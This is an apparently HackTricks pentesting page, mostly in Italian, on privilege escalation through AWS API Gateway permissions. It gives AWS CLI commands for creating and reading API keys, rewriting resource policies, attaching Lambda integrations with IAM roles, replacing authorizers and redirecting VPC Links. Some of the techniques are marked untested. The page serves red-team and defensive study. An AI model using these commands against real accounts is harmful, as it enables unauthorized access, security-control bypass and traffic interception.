AWS - Apigateway Privesc

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Apigateway

Per maggiori informazioni vedi:

AWS - API Gateway Enum

apigateway:POST

Con questo permesso puoi generare API keys delle API configurate (per regione).

bash
aws --region <region> apigateway create-api-key

Impatto potenziale: Non puoi privesc con questa tecnica ma potresti ottenere accesso a informazioni sensibili.

apigateway:GET

Con questo permesso puoi ottenere le API keys generate delle API configurate (per regione).

bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Impatto potenziale: Non puoi privesc con questa tecnica ma potresti ottenere accesso a informazioni sensibili.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Con questi permessi è possibile modificare la resource policy di un'API per concederti l'accesso a chiamarla e sfruttare eventuale accesso che l'API gateway potrebbe avere (per esempio invocando una lambda vulnerabile).

bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Impatto potenziale: Di solito non potrai effettuare privesc direttamente con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

note

Da testare

An attacker with the permissions apigateway:PutIntegration, apigateway:CreateDeployment, and iam:PassRole can aggiungere una nuova integrazione a un'API Gateway REST API esistente con una Lambda function che ha un IAM role associato. The attacker can then attivare la Lambda function per eseguire codice arbitrario e potenzialmente ottenere accesso alle risorse associate all'IAM role.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto potenziale: Accesso alle risorse associate al ruolo IAM della Lambda function.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

note

Da testare

An attacker with the permissions apigateway:UpdateAuthorizer and apigateway:CreateDeployment can modificare un API Gateway authorizer esistente per bypassare i controlli di sicurezza o per eseguire codice arbitrario quando vengono effettuate richieste API.

bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto potenziale: Elusione dei controlli di sicurezza, accesso non autorizzato alle risorse API.

note

Da testare

Un attaccante con il permesso apigateway:UpdateVpcLink può modificare un VPC Link esistente per puntare a un diverso Network Load Balancer, reindirizzando potenzialmente il traffico delle API private verso risorse non autorizzate o dannose.

bash
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Impatto potenziale: Accesso non autorizzato a risorse API private, intercettazione o interruzione del traffico API.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks